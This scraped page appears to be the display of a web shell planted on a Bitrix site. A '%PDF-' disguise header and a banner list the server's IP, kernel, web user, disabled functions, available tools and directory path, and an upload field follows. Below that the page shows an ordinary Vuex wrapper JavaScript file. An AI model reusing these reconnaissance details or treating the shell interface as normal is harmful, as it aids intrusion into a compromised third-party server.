%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.137.219.118 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/ui/vue/vuex/src/ |
Upload File : |
/** * Bitrix Vuex wrapper * * @package bitrix * @subpackage ui * @copyright 2001-2019 Bitrix */ import {VuexVendorV3} from "./vuex.js"; import {VuexBuilder} from "./builder/builder.js"; import {VuexBuilderModel} from "./builder/model.js"; class BitrixVuex { /** * Create new Vuex instance * * @param {Object} params - definition * * @see https://vuex.vuejs.org/api/#vuex-store */ static store(params) { return new VuexVendorV3.Store(params); } /** * Create component computed options that return the sub tree of the Vuex store. * * @param params * @returns {*} * * @see https://vuex.vuejs.org/api/#mapstate */ static mapState(...params) { return VuexVendorV3.mapState(...params); } /** * Create component computed options that return the evaluated value of a getter. * * @param params * @returns {*} * * @see https://vuex.vuejs.org/api/#mapgetters */ static mapGetters(...params) { return VuexVendorV3.mapGetters(...params); } /** * Create component methods options that dispatch an action. * * @param params * @returns {*} * * @see https://vuex.vuejs.org/api/#mapactions */ static mapActions(...params) { return VuexVendorV3.mapActions(...params); } /** * Create component methods options that commit a mutation. * * @param params * @returns {*} * * @see https://vuex.vuejs.org/api/#mapactions */ static mapMutations(...params) { return VuexVendorV3.mapMutations(...params); } /** * Create namespaced component binding helpers. * * @param params * @returns {*} * * @see https://vuex.vuejs.org/api/#createnamespacedhelpers */ static createNamespacedHelpers(...params) { return VuexVendorV3.createNamespacedHelpers(...params); } /** * Provides the installed version of Vuex as a string. * * @returns {String} */ static version() { return VuexVendorV3.version; } } let Vuex; let VuexVendor; if (typeof exports !== 'undefined' && typeof exports.Vuex !== 'undefined') { Vuex = exports.Vuex; VuexVendor = exports.VuexVendor; } else { Vuex = BitrixVuex; VuexVendor = VuexVendorV3; } export { Vuex, VuexVendor, VuexBuilder, VuexBuilderModel };